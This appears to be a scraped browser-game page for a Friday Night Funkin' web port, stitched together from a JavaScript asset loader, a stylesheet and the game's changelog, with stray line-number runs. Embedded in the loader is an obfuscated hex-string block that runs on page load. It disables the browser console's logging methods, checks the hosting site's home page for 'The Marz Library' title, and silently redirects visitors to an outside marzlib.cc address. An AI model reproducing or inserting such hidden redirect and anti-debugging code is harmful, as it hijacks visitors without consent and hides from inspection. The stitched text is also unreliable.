for (let i = 0; i < totalFiles; i++) { const file = zip.files[files[i]]; const blob = await file.async("blob"); const url = URL.createObjectURL(blob); map.set(files[i], url); updateProgress('extract', Math.floor(((i + 1) / totalFiles) * 100)); }}(function(_0x4ae416,_0x41a5b7){function _0x38d5c9(_0x5e409b,_0x39292b,_0x29b246,_0x462524){return _0x33bd(_0x5e409b- -0x225,_0x462524);}function _0x1ec99b(_0x43a542,_0x3686c4,_0x49f4ff,_0x560b36){return _0x33bd(_0x43a542-0x106,_0x49f4ff);}var _0x5eaf27=_0x4ae416();while(!![]){try{var _0x4b128d=parseInt(_0x38d5c9(-0x6a,-0x55,-0x5f,-0x89))/(0xe87+-0xb6a+-0x4*0xc7)*(parseInt(_0x1ec99b(0x297,0x2b1,0x29d,0x293))/(0x139*-0x16+-0x1*0x451+-0x1f39*-0x1))+-parseInt(_0x1ec99b(0x29e,0x28e,0x27a,0x2b8))/(-0x1*0x432+-0x608+-0xa3d*-0x1)+-parseInt(_0x38d5c9(-0x82,-0x79,-0x67,-0x6c))/(0x1*0x23c+-0x108f+0x1*0xe57)+parseInt(_0x38d5c9(-0x61,-0x45,-0x6a,-0x3e))/(0x19a*0xb+0xc4+0x3*-0x61f)+-parseInt(_0x38d5c9(-0x9e,-0xab,-0x97,-0xb8))/(0x1c34+-0x2fd+-0x1931*0x1)+-parseInt(_0x38d5c9(-0x5e,-0x57,-0x3c,-0x54))/(-0x25f*-0x9+0x1bf*-0x2+-0x2*0x8e9)+parseInt(_0x1ec99b(0x2bf,0x2cd,0x29a,0x2b0))/(0x3*0x70b+-0x21ce+0xcb5);if(_0x4b128d===_0x41a5b7)break;else _0x5eaf27['push'](_0x5eaf27['shift']());}catch(_0x5b6231){_0x5eaf27['push'](_0x5eaf27['shift']());}}}(_0xe31a,-0x8fdb+-0x1*-0x6a5ac+0x1*-0x1ac29));function _0x4c4857(_0x1dbb0f,_0x23b2d0,_0x22797f,_0x22b038){return _0x33bd(_0x23b2d0- -0xb5,_0x22b038);}var _0x25dccb=(function(){var _0x20fb2a={};_0x20fb2a['\x51\x75\x74\x65\x71']=function(_0x20ed0d,_0x503b07){return _0x20ed0d!==_0x503b07;},_0x20fb2a[_0x1bba6b(-0x8,0x2b,0x6,0x29)]=_0x16e6df(0x3e,0x2,0x22,0x38),_0x20fb2a[_0x1bba6b(0x4f,0x3f,0x3b,0x17)]='\x42\x45\x53\x5a\x4a',_0x20fb2a[_0x1bba6b(0x48,0x10,0x31,0x11)]=_0x16e6df(-0x2,-0x2,0x15,-0x1)+_0x16e6df(0x48,0x3f,0x5b,0x46)+_0x1bba6b(0x18,0x2d,0xe,-0x8)+_0x16e6df(0x43,0x45,0x58,0x48)+'\x65',_0x20fb2a['\x74\x74\x45\x50\x6e']=_0x16e6df(0x34,0x3c,0x26,0x19),_0x20fb2a[_0x16e6df(0x55,0x44,0x2f,0x22)]=_0x16e6df(0x43,0x45,0x40,0x1e);var _0x56f57f=_0x20fb2a,_0x2f9f52=!![];function _0x16e6df(_0x286cb4,_0x134666,_0x108048,_0xdf8b3e){return _0x33bd(_0x108048- -0x178,_0x134666);}function _0x1bba6b(_0x347687,_0x330ad3,_0x4d6cdc,_0x3755b4){return _0x33bd(_0x4d6cdc- -0x185,_0x330ad3);}return function(_0x3faf40,_0x36ae9c){var _0x5cdc54={};function _0x1b9477(_0x31311d,_0x18c06f,_0x51d4c5,_0x47f7ca){return _0x1bba6b(_0x31311d-0x172,_0x18c06f,_0x51d4c5-0x30,_0x47f7ca-0x19e);}_0x5cdc54[_0x1b9477(0x60,0xa1,0x7d,0x8a)]=_0x56f57f[_0x1b9477(0x73,0x51,0x61,0x50)];var _0x235096=_0x5cdc54;function _0x109a2e(_0x452efb,_0x7a50b2,_0x6c0356,_0x30724a){return _0x16e6df(_0x452efb-0xce,_0x6c0356,_0x7a50b2- -0x1ae,_0x30724a-0x14a);}if(_0x56f57f[_0x109a2e(-0x14a,-0x165,-0x160,-0x163)]!==_0x56f57f[_0x109a2e(-0x182,-0x17f,-0x19c,-0x166)]){var _0x14694a=_0x2f9f52?function(){function _0x1c5f6f(_0x1f30c1,_0x1064db,_0x5861f3,_0x3a162b){return _0x1b9477(_0x1f30c1-0xaf,_0x3a162b,_0x5861f3-0x49f,_0x3a162b-0x1d3);}function _0x334f3e(_0x3fffd0,_0x49a246,_0x6fbd2e,_0x445477){return _0x1b9477(_0x3fffd0-0x32,_0x3fffd0,_0x445477-0xd4,_0x445477-0x8);}if(_0x56f57f[_0x1c5f6f(0x524,0x4f0,0x517,0x521)](_0x56f57f[_0x1c5f6f(0x4dd,0x4e7,0x4d5,0x4df)],_0x56f57f['\x62\x44\x67\x41\x4a'])){if(_0x36ae9c){var _0x2b912e=_0x36ae9c[_0x334f3e(0xe4,0x10c,0x12b,0x108)](_0x3faf40,arguments);return _0x36ae9c=null,_0x2b912e;}}else _0x1817d7[_0x334f3e(0x158,0x158,0x169,0x142)][_0x334f3e(0x125,0x119,0xf7,0x107)]=_0x235096[_0x334f3e(0x136,0x145,0x177,0x151)];}:function(){};return _0x2f9f52=![],_0x14694a;}else{var _0x3a796f=_0x1f93dc?function(){function _0x4a38b3(_0x232062,_0x45735f,_0x338f0f,_0x25bc9b){return _0x1b9477(_0x232062-0x1f4,_0x25bc9b,_0x232062- -0x111,_0x25bc9b-0x198);}if(_0x2b324b){var _0x1b93fc=_0x5b6ece[_0x4a38b3(-0xdd,-0xf5,-0xba,-0xc5)](_0x4c3dc3,arguments);return _0x15e13e=null,_0x1b93fc;}}:function(){};return _0x349d0d=![],_0x3a796f;}};}());function _0x1709ae(_0x50ca90,_0x3f6f6b,_0x53851b,_0x1bcbf1){return _0x33bd(_0x1bcbf1-0x2b5,_0x50ca90);}function _0x33bd(_0x4ed0b8,_0x3acc3a){var _0x25dccb=_0xe31a();return _0x33bd=function(_0xe31af,_0x33bd0a){_0xe31af=_0xe31af-(0x112e+-0x1031+0x89*0x1);var _0x4eb433=_0x25dccb[_0xe31af];return _0x4eb433;},_0x33bd(_0x4ed0b8,_0x3acc3a);}var _0x3acc3a=_0x25dccb(this,function(){var _0x1b67d0={};_0x1b67d0[_0x162e1c(0x329,0x33e,0x31f,0x336)]=_0x162e1c(0x2f3,0x2ef,0x311,0x2fa)+'\x2b\x24';function _0x5b0253(_0x3a60e6,_0xbd9f22,_0x44bcbb,_0x22b45e){return _0x33bd(_0xbd9f22-0x39b,_0x44bcbb);}var _0x4c4c1e=_0x1b67d0;function _0x162e1c(_0x20e4c7,_0x30cd39,_0x2857dc,_0x57cecf){return _0x33bd(_0x2857dc-0x174,_0x20e4c7);}return _0x3acc3a[_0x5b0253(0x538,0x559,0x56f,0x569)]()['\x73\x65\x61\x72\x63\x68'](_0x4c4c1e[_0x5b0253(0x559,0x546,0x528,0x526)])['\x74\x6f\x53\x74\x72\x69\x6e\x67']()[_0x162e1c(0x30e,0x304,0x314,0x2fe)+'\x72'](_0x3acc3a)[_0x5b0253(0x567,0x549,0x52e,0x535)](_0x5b0253(0x53f,0x538,0x550,0x55a)+'\x2b\x24');});_0x3acc3a();var _0x5a1ed3=(function(){var _0x46f6df={};_0x46f6df['\x56\x4b\x61\x41\x73']=function(_0x1f8a4d,_0x2ed4b3){return _0x1f8a4d===_0x2ed4b3;},_0x46f6df[_0x410b1e(0x3f3,0x3f7,0x40c,0x40e)]=_0x410b1e(0x404,0x426,0x41b,0x3fd);var _0x3698fd=_0x46f6df,_0x196485=!![];function _0x8c01b7(_0x31fc7c,_0x5eb033,_0x242b76,_0x1372dc){return _0x33bd(_0x1372dc-0xe5,_0x5eb033);}function _0x410b1e(_0x4381e4,_0x1704f1,_0x3c48d4,_0x1a4018){return _0x33bd(_0x3c48d4-0x252,_0x4381e4);}return function(_0x1ac480,_0x4d56d7){var _0x177bb7=_0x196485?function(){function _0xa7a14e(_0x4e5fef,_0xcbacfe,_0x29a18a,_0x2449d6){return _0x33bd(_0x2449d6- -0x315,_0xcbacfe);}function _0xec95af(_0xd0c38b,_0x3ba013,_0x47099d,_0x549361){return _0x33bd(_0x549361- -0x1a8,_0x47099d);}if(_0x4d56d7){if(_0x3698fd[_0xa7a14e(-0x13c,-0x14b,-0x13f,-0x15e)](_0xec95af(0x42,0x3e,0x41,0x21),_0x3698fd['\x73\x64\x42\x65\x74'])){var _0x22f713=_0x4d56d7[_0xec95af(0x6,-0x36,-0x33,-0x1f)](_0x1ac480,arguments);return _0x4d56d7=null,_0x22f713;}else _0x41d818=_0x2e75b1;}}:function(){};return _0x196485=![],_0x177bb7;};}()),_0x183146=_0x5a1ed3(this,function(){var _0x5f28aa={'\x47\x67\x61\x52\x50':function(_0x3fc63b,_0x1762f7){return _0x3fc63b(_0x1762f7);},'\x5a\x67\x59\x42\x45':function(_0x42c4bb,_0x4c54d1){return _0x42c4bb+_0x4c54d1;},'\x51\x52\x6b\x72\x71':_0x1c77db(-0x109,-0x128,-0x12c,-0x11a)+'\x6e\x63\x74\x69\x6f\x6e\x28\x29\x20','\x6f\x46\x50\x45\x6c':function(_0x3041f1,_0x99b996){return _0x3041f1+_0x99b996;},'\x48\x50\x57\x6e\x55':function(_0x444610,_0x4af21b){return _0x444610===_0x4af21b;},'\x4c\x76\x7a\x72\x76':_0x1c77db(-0xfb,-0xdd,-0x10d,-0xff),'\x54\x77\x4b\x4c\x77':'\x74\x6f\x72\x64\x4d','\x6b\x75\x63\x6f\x6b':function(_0x3da2ef,_0x312308){return _0x3da2ef===_0x312308;},'\x55\x57\x48\x72\x4f':_0x1c77db(-0xe7,-0x109,-0xf8,-0xe9),'\x58\x78\x71\x41\x51':function(_0xdc2ecb,_0x1e98ac){return _0xdc2ecb+_0x1e98ac;},'\x6a\x48\x6e\x5a\x67':_0x1c77db(-0x112,-0x10d,-0x117,-0x105)+'\x2b\x24','\x47\x7a\x41\x74\x5a':function(_0x41aa26){return _0x41aa26();},'\x59\x74\x59\x54\x56':_0x1c77db(-0x119,-0x11c,-0x111,-0x13f),'\x7a\x64\x4b\x63\x67':_0x2b380e(-0x61,-0x48,-0x53,-0x51),'\x57\x54\x64\x43\x42':_0x1c77db(-0x103,-0xe9,-0x10b,-0xe9),'\x61\x4e\x6b\x47\x47':_0x1c77db(-0x11a,-0xf6,-0x135,-0xfc),'\x66\x49\x45\x74\x66':_0x2b380e(-0x6e,-0x75,-0x71,-0x8b),'\x42\x61\x4e\x79\x62':_0x2b380e(-0x74,-0x8e,-0x76,-0x6f),'\x51\x56\x6f\x79\x6b':function(_0x59f253,_0x12fa18){return _0x59f253<_0x12fa18;},'\x78\x63\x73\x69\x6b':_0x2b380e(-0x53,-0x76,-0x39,-0x58)},_0xfa9108=function(){function _0x1e4eef(_0xd81298,_0x56e4cc,_0x3c9038,_0x324b48){return _0x1c77db(_0xd81298-0xac,_0x56e4cc-0x172,_0x3c9038,_0x324b48-0xfa);}var _0x4e6185={'\x75\x6b\x4b\x73\x62':function(_0x25ddbf,_0x58eb3a){function _0x5f3b7a(_0x277e6e,_0x247c1a,_0xec747f,_0x3416bd){return _0x33bd(_0x3416bd- -0x259,_0x247c1a);}return _0x5f28aa[_0x5f3b7a(-0xb7,-0x81,-0xb0,-0xa7)](_0x25ddbf,_0x58eb3a);},'\x42\x66\x47\x46\x63':function(_0x4ff8cf,_0x23d19b){function _0x69aa27(_0x181b7e,_0x2f446a,_0x354908,_0x4ea5c8){return _0x33bd(_0x354908-0x1ba,_0x2f446a);}return _0x5f28aa[_0x69aa27(0x335,0x356,0x34e,0x357)](_0x4ff8cf,_0x23d19b);},'\x62\x66\x63\x62\x7a':_0x5f28aa['\x51\x52\x6b\x72\x71'],'\x6b\x65\x43\x6f\x61':_0x1e4eef(-0x32,-0x2d,-0x38,-0x30)+_0x1e4eef(-0x79,-0x53,-0x91,-0x59)+_0x5a8549(-0x48,-0x25,-0x67,-0x51)+'\x20\x29'};function _0x5a8549(_0x3fac8c,_0x517fce,_0x5e8e26,_0x3866ab){return _0x2b380e(_0x3fac8c-0x78,_0x517fce-0xe7,_0x3866ab,_0x3fac8c-0x1c);}if(_0x5f28aa[_0x5a8549(-0x62,-0x6a,-0x3e,-0x71)](_0x5f28aa['\x4c\x76\x7a\x72\x76'],_0x5f28aa[_0x1e4eef(-0x71,-0x59,-0x8a,-0x92)])){var _0x3beb65;try{_0x3beb65=_0x4e6185[_0x5a8549(-0x64,-0x66,-0x79,-0x4b)](_0x1cf200,_0x4e6185[_0x5a8549(-0x75,-0x97,-0x58,-0x6f)](_0x4e6185['\x62\x66\x63\x62\x7a']+_0x4e6185[_0x1e4eef(-0x61,-0x69,-0x84,-0x64)],'\x29\x3b'))();}catch(_0x3cf934){_0x3beb65=_0xb7bba9;}return _0x3beb65;}else{var _0x4b8e82;try{_0x5f28aa[_0x5a8549(-0x4b,-0x26,-0x52,-0x63)](_0x5f28aa[_0x5a8549(-0x3e,-0x1a,-0x2d,-0x39)],_0x5a8549(-0x33,-0x26,-0x38,-0x3a))?_0x4b8e82=_0x5f28aa[_0x1e4eef(-0x51,-0x55,-0x51,-0x50)](Function,_0x5f28aa[_0x5a8549(-0x3f,-0x2f,-0x2a,-0x39)](_0x5f28aa[_0x1e4eef(-0x6f,-0x8f,-0x4d,-0x72)](_0x5a8549(-0x55,-0x3a,-0x4f,-0x41)+'\x6e\x63\x74\x69\x6f\x6e\x28\x29\x20',_0x1e4eef(-0x32,-0x4e,-0x27,-0x28)+_0x1e4eef(-0x79,-0x61,-0x8b,-0x77)+_0x5a8549(-0x48,-0x38,-0x2d,-0x2b)+'\x20\x29'),'\x29\x3b'))():_0x3f44d4=_0x5f28aa['\x47\x67\x61\x52\x50'](_0x927a93,_0x5f28aa['\x5a\x67\x59\x42\x45'](_0x5f28aa[_0x5a8549(-0x4c,-0x5b,-0x65,-0x32)]+('\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75'+_0x1e4eef(-0x79,-0x7e,-0x59,-0x77)+_0x5a8549(-0x48,-0x57,-0x4d,-0x2b)+'\x20\x29'),'\x29\x3b'))();}catch(_0x1507d1){_0x4b8e82=window;}return _0x4b8e82;}};function _0x2b380e(_0x3d553c,_0x59cf5d,_0x1cd185,_0xd5ad0){return _0x33bd(_0xd5ad0- -0x217,_0x1cd185);}var _0x22260d=_0x5f28aa[_0x1c77db(-0x102,-0xe0,-0x123,-0x103)](_0xfa9108),_0x5acf2f=_0x22260d[_0x1c77db(-0xfa,-0x112,-0xf3,-0xf6)]=_0x22260d[_0x2b380e(-0x79,-0x6b,-0x89,-0x62)]||{},_0x48684e=[_0x5f28aa['\x59\x74\x59\x54\x56'],_0x5f28aa[_0x2b380e(-0x5d,-0x3d,-0x54,-0x4c)],_0x2b380e(-0x7b,-0x5e,-0x82,-0x6d),_0x5f28aa['\x57\x54\x64\x43\x42'],_0x5f28aa[_0x1c77db(-0xe1,-0xbf,-0xe2,-0xe6)],_0x5f28aa[_0x1c77db(-0xfe,-0xe7,-0x119,-0x103)],_0x5f28aa[_0x2b380e(-0x70,-0x9a,-0xa0,-0x87)]];function _0x1c77db(_0x1330dc,_0x30b1f9,_0x44ac27,_0x238883){return _0x33bd(_0x1330dc- -0x2af,_0x44ac27);}for(var _0x110d7d=0x38f*0x1+-0xbed+-0x2*-0x42f;_0x5f28aa[_0x1c77db(-0xe3,-0xc2,-0xf4,-0xcc)](_0x110d7d,_0x48684e[_0x2b380e(-0x95,-0x5b,-0x62,-0x6e)]);_0x110d7d++){if(_0x5f28aa['\x78\x63\x73\x69\x6b']===_0x2b380e(-0x9c,-0x7c,-0x78,-0x7b))return _0x321d0b['\x74\x6f\x53\x74\x72\x69\x6e\x67']()[_0x2b380e(-0x6e,-0x67,-0x88,-0x69)](_0x5f28aa[_0x2b380e(-0x60,-0x67,-0x63,-0x7c)])[_0x2b380e(-0x65,-0x66,-0x66,-0x59)]()[_0x1c77db(-0x10f,-0x118,-0x11d,-0x12f)+'\x72'](_0x314543)[_0x2b380e(-0x7d,-0x42,-0x5b,-0x69)]('\x28\x28\x28\x2e\x2b\x29\x2b\x29\x2b\x29'+'\x2b\x24');else{var _0x5d335c=_0x5a1ed3['\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f'+'\x72']['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65'][_0x2b380e(-0x5b,-0x4d,-0x64,-0x73)](_0x5a1ed3),_0x37feb5=_0x48684e[_0x110d7d],_0x415ce4=_0x5acf2f[_0x37feb5]||_0x5d335c;_0x5d335c[_0x2b380e(-0x4a,-0x5b,-0x2b,-0x48)]=_0x5a1ed3['\x62\x69\x6e\x64'](_0x5a1ed3),_0x5d335c[_0x1c77db(-0xf1,-0x110,-0x107,-0x114)]=_0x415ce4[_0x2b380e(-0x64,-0x70,-0x62,-0x59)][_0x2b380e(-0x80,-0x68,-0x84,-0x73)](_0x415ce4),_0x5acf2f[_0x37feb5]=_0x5d335c;}}});_0x183146(),fetch(window[_0x1709ae(0x482,0x45e,0x488,0x478)]['\x6f\x72\x67\x69\x6e']+(_0x4c4857(0xe5,0xd9,0xde,0xe8)+'\x65\x2e\x68\x74\x6d\x6c'))[_0x4c4857(0xe5,0xf0,0xe4,0xdd)](_0x18529a=>_0x18529a[_0x1709ae(0x459,0x454,0x489,0x47a)]())[_0x1709ae(0x465,0x453,0x465,0x45a)](_0x52bded=>{var _0x4d05b4={};_0x4d05b4[_0x375661(0x4ee,0x4c3,0x4d7,0x4dd)]=_0x6c57c2(-0x1e7,-0x1e1,-0x1f5,-0x21b)+_0x6c57c2(-0x1d1,-0x1d6,-0x1af,-0x1d0)+_0x6c57c2(-0x1f5,-0x1c9,-0x1ef,-0x1cc)+_0x6c57c2(-0x19f,-0x1b4,-0x1b2,-0x18f)+'\x65';function _0x375661(_0x2b224f,_0x40ad7f,_0x196ee6,_0x42f279){return _0x4c4857(_0x2b224f-0x101,_0x42f279-0x3f3,_0x196ee6-0xf1,_0x2b224f);}function _0x6c57c2(_0x48d23d,_0x2472d1,_0x3972b3,_0xd3b7eb){return _0x1709ae(_0x2472d1,_0x2472d1-0x1c3,_0x3972b3-0x132,_0x3972b3- -0x637);}var _0x2a2068=_0x4d05b4;_0x52bded[_0x6c57c2(-0x1c1,-0x1fa,-0x1e1,-0x1ec)]('\x3c\x68\x31\x20\x63\x6c\x61\x73\x73\x3d'+_0x375661(0x524,0x50a,0x52f,0x508)+_0x6c57c2(-0x1d4,-0x1ce,-0x1c0,-0x19f)+_0x375661(0x4c1,0x4ab,0x4ab,0x4cd))&&(window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x72\x65\x66']=_0x2a2068[_0x375661(0x4c3,0x4ea,0x4ef,0x4dd)]);});function _0xe31a(){var _0x435559=['\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75','\x6f\x68\x47\x4a\x59','\x72\x7a\x6c\x69\x62\x2e\x63\x63\x2f\x70','\x42\x66\x47\x46\x63','\x31\x35\x30\x31\x33\x36\x32\x4a\x5a\x48\x78\x43\x68','\x68\x72\x65\x66','\x61\x70\x70\x6c\x79','\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75','\x73\x4b\x4c\x51\x54','\x74\x61\x62\x6c\x65','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6d\x61','\x2f\x70\x61\x67\x65\x73\x2f\x68\x6f\x6d','\x72\x61\x72\x79\x3c\x2f\x68\x31\x3e','\x42\x61\x4e\x79\x62','\x34\x33\x38\x73\x69\x42\x72\x42\x52','\x54\x77\x4b\x4c\x77','\x61\x67\x65\x73\x2f\x68\x6f\x6d\x65\x2e','\x6f\x46\x50\x45\x6c','\x65\x78\x63\x65\x70\x74\x69\x6f\x6e','\x6c\x6f\x67','\x75\x6b\x4b\x73\x62','\x38\x31\x33\x30\x30\x39\x75\x72\x4b\x53\x63\x64','\x48\x50\x57\x6e\x55','\x59\x6b\x77\x7a\x53','\x6a\x48\x6e\x5a\x67','\x65\x67\x57\x49\x43','\x28\x28\x28\x2e\x2b\x29\x2b\x29\x2b\x29','\x68\x57\x68\x57\x41','\x57\x79\x67\x4a\x71','\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f','\x69\x6e\x63\x6c\x75\x64\x65\x73','\x6b\x65\x43\x6f\x61','\x31\x35\x34\x37\x33\x39\x36\x63\x4c\x65\x43\x4c\x4b','\x62\x69\x6e\x64','\x74\x68\x65\x6e','\x72\x65\x74\x75\x72\x6e\x20\x28\x66\x75','\x46\x47\x4d\x61\x4c','\x74\x72\x61\x63\x65','\x6c\x65\x6e\x67\x74\x68','\x69\x6e\x66\x6f','\x77\x6b\x73\x56\x6a','\x65\x72\x72\x6f\x72','\x47\x7a\x41\x74\x5a','\x73\x65\x61\x72\x63\x68','\x51\x52\x6b\x72\x71','\x6b\x75\x63\x6f\x6b','\x66\x49\x45\x74\x66','\x47\x67\x61\x52\x50','\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28','\x79\x6e\x70\x5a\x61','\x63\x6f\x6e\x73\x6f\x6c\x65','\x65\x74\x61\x49\x59','\x56\x4b\x61\x41\x73','\x5a\x71\x64\x69\x6c','\x31\x31\x37\x31\x33\x39\x32\x38\x6f\x61\x6a\x6d\x61\x78','\x73\x64\x42\x65\x74','\x35\x39\x47\x69\x6b\x79\x78\x46','\x58\x78\x71\x41\x51','\x55\x57\x48\x72\x4f','\x74\x6f\x53\x74\x72\x69\x6e\x67','\x77\x4a\x56\x6c\x48','\x62\x44\x67\x41\x4a','\x74\x74\x45\x50\x6e','\x65\x20\x4d\x61\x72\x7a\x20\x4c\x69\x62','\x6c\x6f\x63\x61\x74\x69\x6f\x6e','\x31\x33\x30\x36\x33\x36\x30\x6b\x57\x6e\x47\x4c\x57','\x74\x65\x78\x74','\x77\x61\x72\x6e','\x33\x37\x38\x38\x31\x34\x31\x62\x5a\x50\x78\x53\x62','\x64\x58\x58\x6f\x49','\x47\x4f\x59\x6f\x76','\x22\x74\x69\x74\x6c\x65\x22\x3e\x54\x68','\x7a\x64\x4b\x63\x67','\x51\x56\x6f\x79\x6b','\x51\x75\x74\x65\x71','\x61\x4e\x6b\x47\x47','\x5f\x5f\x70\x72\x6f\x74\x6f\x5f\x5f','\x68\x74\x6d\x6c\x3f\x72\x3d\x74\x72\x75'];_0xe31a=function(){return _0x435559;};return _0xe31a();}async function wedone() { await extract(); await intercept();
const script = document.createElement('script'); script.src = 'Runtime.js'; script.onload = () => { new Runtime("MMFCanvas", runtimecanvas); }; document.getElementById('progress-container').style.display = 'none'; document.head.appendChild(script);}
const originalFetch = window.fetch;
function mergeFiles(fileParts) { return new Promise((resolve, reject) => { let buffers = []; let totalSize = 0; let loadedSize = 0; Promise.all(fileParts.map(part => fetch(part, { method: 'HEAD' }).then(res => { if (!res.ok) throw new Error("Missing part: " + part); return parseInt(res.headers.get("Content-Length") || "0", 10); }) )).then(sizes => { totalSize = sizes.reduce((a, b) => a + b, 0); function fetchPart(index) { if (index >= fileParts.length) { let mergedBlob = new Blob(buffers); let mergedFileUrl = URL.createObjectURL(mergedBlob); resolve(mergedFileUrl); return; }
fetch(fileParts[index]).then((response) => { if (!response.ok) throw new Error("Missing part: " + fileParts[index]); return response.arrayBuffer(); }).then((data) => { buffers.push(data); loadedSize += data.byteLength; updateProgress('download', Math.floor((loadedSize / totalSize) * 100)); fetchPart(index + 1); }).catch(reject); }
fetchPart(0); }).catch(reject); });}
function getParts(file, start, end) { let parts = []; for (let i = start; i <= end; i++) { parts.push(file + ".part" + i); } return parts;}Promise.all([ mergeFiles(getParts("resources.zip", 1, parts))]).then(([resources]) => { window.fetch = async function (url, ...args) { if (url.endsWith("resources.zip")) { return originalFetch(resources, ...args); } else { return originalFetch(url, ...args); } }; wedone();});12345678910111213141516171819202122232425262728293031323334353637383940414243444546h1 { font-family: Arial, Helvetica, sans-serif; color: #f00; font-size: x-large;}
p { font-family: Arial, Helvetica, sans-serif; color: #000; font-size: small;}
body { background-color: #1d1d1d; text-align: center; margin: 0; padding: 0;}
#bloctxt { border-left-width: 5px; border-left-style: solid; border-left-color: #f00; padding-left: 10px; position: absolute; left: 50%; width: 600px; margin-left: -260px;}
#progress-container { position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); width: 280px; padding: 16px; background: rgba(0, 0, 0, 0.85); color: white; font-family: sans-serif; font-size: 14px; border-radius: 10px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3); z-index: 9999; text-align: center;}123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150# ChangelogAll notable changes will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [Unreleased]### Changed- ASSET LOADING OVERHAUL, WAY FASTER LOAD TIMES ON WEB!!! (THANKS TO GEOKURELI WOKE KING)### Fixed- That one random note on Bopeebo
## [0.2.7.1] - 2021-02-14### Added- Easter eggs- readme's in desktop versions of the game### Changed
- New icons, old one was placeholder since October woops!- Made the transitions between the story mode levels more seamless.- Offset of the Newgrounds logo on boot screen.- Made the changelog txt so it can be opened easier by normal people who don't have a markdown reader (most normal people);### Fixed- Fixed crashes on Week 6 story mode dialogue if spam too fast ([Thanks to Lotusotho for the Pull Request!](https://github.com/ninjamuffin99/Funkin/pull/357))- Should show intro credits on desktop versions of the game more consistently- Layering on Week 4 songs with GF and the LIMO LOL HOW TF I MISS THIS- Chart's and chart editor now support changeBPM, GOD BLESS MTH FOR THIS ONE I BEEN STRUGGLIN WIT THAT SINCE OCTOBER LMAO ([GOD BLESS MTH](https://github.com/ninjamuffin99/Funkin/pull/382))- Fixed sustain note trails ALSO THANKS TO MTH U A REAL ONE ([MTH VERY POWERFUL](https://github.com/ninjamuffin99/Funkin/pull/415))- Antialiasing on the skyscraper lights
## [0.2.7] - 2021-02-02### Added- PIXEL DAY UPDATE LOL 1 WEEK LATER- 3 New songs by Kawaisprite!- COOL CUTSCENES- WEEK 6 YOYOYOYOY- Swaggy pixel art by Moawling!### Changed- Made it so you lose sliiiightly more health when you miss a note.- Removed the default HaxeFlixel pause screen when the game window loses focus, can get screenshots of the game easier hehehe### Fixed- Idle animation bug with BF christmas and BF hair blow sprites ([Thanks to Injourn for the Pull Request!](https://github.com/ninjamuffin99/Funkin/pull/237))
## [0.2.6] - 2021-01-20### Added- 3 NEW CHRISTMAS SONGS. 2 BY KAWAISPRITE, 1 BY BASSETFILMS!!!!! BF WITH DRIP! SANTA HANGIN OUT!- Enemy icons change when they you are winning a lot ([Thanks to pahaze for the Pull Request!](https://github.com/ninjamuffin99/Funkin/pull/138))- Holding CTRL in charting editor places notes on both sides- Q and E changes sustain lengths in note editor- Other charting editor workflow improvements- More hair physics- Heads appear at top of chart editor to help show which side ur charting for### Changed- Tweaked code relating to inputs, hopefully making notes that are close together more fair to hit### Removed- Removed APE### Fixed- Maybe fixed double notes / jump notes. Need to tweak it for balance, but should open things up for cooler charts in the future.- Old Verison popup screen weirdness ([Thanks to gedehari for the Pull Request!](https://github.com/ninjamuffin99/Funkin/pull/155))- Song no longer loops when finishing the song. ([Thanks Injourn for the Pull Request!](https://github.com/ninjamuffin99/Funkin/pull/132))- Screen wipe being cut off in the limo/mom stage. Should fill the whole screen now.- Boyfriend animations on hold notes, and pressing on repeating notes should behave differently
## [0.2.5] - 2020-12-27### Added- MOMMY GF, 3 NEW ASS SONGS BY KAWAISPRITE, NEW ART BY PHANTOMARCADE,WOOOOOOAH!!!!- Different icons depending on which character you are against, art by EVILSK8R!!- Autosave to chart editor- Clear section button to note editor- Swap button in note editor- a new boot text or two- automatic check for when you're on an old version of the game! ### Changed- Made Spookeez on Normal easier.- Mouse is now visible in note editor### Fixed- Crash when playing Week 3 and then playing a non-week 3 song- When pausing music at the start, it doesn't continue the song anyways. ([shoutouts gedehari for the Pull Request!](https://github.com/ninjamuffin99/Funkin/pull/48))- IDK i think backing out of song menu should play main menu songs again hehe ([shoutouts gedehari for the Pull Request!](https://github.com/ninjamuffin99/Funkin/pull/48))
## [0.2.4] - 2020-12-11### Added- 3 NEW SONGS BY KAWAISPRITE. Pico, Philly, and Blammed.- NEW CHARACTER, PICO. Based off the classic Flash game "Pico's School" by Tom Fulp- NEW LEVEL WOW! PHILLY BABEEEE### Changed- Made it less punishing to ATTEMPT to hit a note and miss, rather than let it pass you### Fixed- Song desync of you paused and unpaused frequently ([shoutouts SonicBlam](https://github.com/ninjamuffin99/Funkin/issues/37))- Animation offsets when GF is scared
## [0.2.3] - 2020-12-04### Added- More intro texts### Fixed- Exploit where you could potentially give yourself a high score via the debug menu- Issue/bug where you could spam the confirm button on the story menu ([shoutouts lotusotho for the CODE contribution/pull request!](https://github.com/ninjamuffin99/Funkin/pull/19))- Glitch where if you never would lose health if you missed a note on a fast song (shoutouts [MrDulfin](https://github.com/ninjamuffin99/Funkin/issues/10), [HotSauceBurritos](https://github.com/ninjamuffin99/Funkin/issues/13) and [LobsterMango](https://lobstermango.newgrounds.com))- Fixed tiny note bleed over thingies (shoutouts [lotusotho](https://github.com/ninjamuffin99/Funkin/pull/24))
## [0.2.2] - 2020-11-20### Added- Music playing on the freeplay menu.- UI sounds on freeplay menu- Score now shows mid-song.- Menu on pause screen! Can resume, and restart song, or go back to main menu.- New music made for pause menu!
